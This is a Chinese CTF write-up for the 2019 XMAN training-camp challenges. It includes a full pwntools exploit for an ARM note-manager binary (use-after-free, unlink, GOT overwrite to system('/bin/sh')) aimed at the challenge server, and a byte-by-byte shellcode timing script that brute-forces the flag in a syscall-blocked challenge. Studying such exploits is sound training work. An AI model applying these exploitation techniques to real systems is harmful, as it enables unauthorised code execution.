2019XMAN入营赛
XMAN训练营的题目,还是能学到不少东西的,就拿来看了看。
babyarm
这个题目并不难,难在于它是一个arm的架构,所以难以调试,不过从出题人哪里得到一个很好的github项目arm_now,但是我看了看还是没办法用pwntools远程连接上调试,Mr.R师傅说环境下载在arm_now里面然后在里面直接调,不走远程路线,这虽然麻烦一点,但是麻烦过后属实方便顺心,废话到此,分析题目。
checksec使得我们有个大致的了解:
[*] '/home/root0/pratice/2019xman\xe5\x86\xac\xe4\xbb\xa4\xe8\x90\xa5/babyarm/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
开了两个保护Canary found和NX,不过对这题堆利用影响不大。
漏洞在于delete函数没有将free后的堆块指针置NULL
配合32位的unlink可以实现堆利用,不过这个题目方法很多样,unsorted bin attack泄露地址然后double free估计也可以,没试,哈哈哈,贴一个binLep师傅的脚本(也可以去看看师傅博客):
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 3
context(log_level="debug", arch="arm", os="linux")
if debug == 1:
p = process(['qemu-arm', '-g', '12345', '-L', '/usr/arm-linux-gnueabihf', './chall'])
elif debug == 2:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabihf', './chall'])
else:
p = remote('139.9.133.160', 10000)
elf = ELF('./chall', checksec=False)
def add(add_size, add_content):
p.sendafter(' your choice: \n', '1')
p.sendlineafter('Note size :', str(add_size))
p.sendafter('Content :', add_content)
def delete(delete_idx):
p.sendafter(' your choice: \n', '2')
p.sendlineafter('Index :', str(delete_idx))
def show(show_idx):
p.sendafter(' your choice: \n', '3')
p.sendafter('Index :', str(show_idx))
def edit(edit_idx, edit_content):
p.sendafter(' your choice: \n', '5')
p.sendafter('Index :', str(edit_idx))
p.sendafter('You content:', edit_content)
got_free = elf.got['free']
got_atoi = elf.got['atoi']
plt_puts = elf.plt['puts']
addr_notelist = 0x02108c
addr_count = 0x021064
p.sendlineafter('Tell me your name:', 'binLep')
add(0x40, 'a' * 4) # 1
add(0x80, 'b' * 4) # 2
add(0x80, 'c' * 4) # 3
delete(1)
delete(2)
pd = p32(0) + p32(0x81)
pd += p32(addr_notelist - 0xc) + p32(addr_notelist - 0x8)
pd += 'd' * 0x70
pd += p32(0x80) + p32(0x80)
add(0x100, pd) # 4
delete(2)
pd = p32(0) + p32(0)
pd += p32(got_atoi) + p32(got_free)
edit(1, pd)
add(0x80, '/bin/sh') # 5
add(0x80, '/bin/sh') # 6
add(0x80, '/bin/sh') # 7
add(0x80, '/bin/sh') # 8
add(0x80, '/bin/sh') # 9
edit(1, p32(plt_puts))
delete(0)
addr_atoi = u32(p.recv(4))
libcbase = addr_atoi - 0x025271
addr_system = libcbase + 0x02c771
addr_bin_sh = libcbase + 0x0ca574
edit(1, p32(addr_system))
success('addr_atoi = ' + hex(addr_atoi))
success('addr_system = ' + hex(addr_system))
delete(7)
p.interactive()
NoooCall
这个题目的难度在于禁用了所有的系统调用,不过跟红帽的比觉得还是简单一点。
你输入的被当做shellcode执行了
这里面就是禁用了所有系统调用。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from string import printable #导入可打印的字符的字符串
context(arch = 'amd64',os = 'linux')
idx = 0x200000000
flag = ""
for j in range(0xd):
for i in printable:
r = process('./chall')
payload = '''
mov rdi,{}
cmp byte ptr [rdi],{}
jz $
ret
'''.format(hex(idx + j),ord(i))
payload = asm(payload)
r.recv()
# gdb.attach(r)
r.send(payload)
try:
r.recv(timeout=1)
flag += i
print "key >>>>>>>>>>>>>>>>>> " + flag
break
except:
continue
print flag
r.interactive()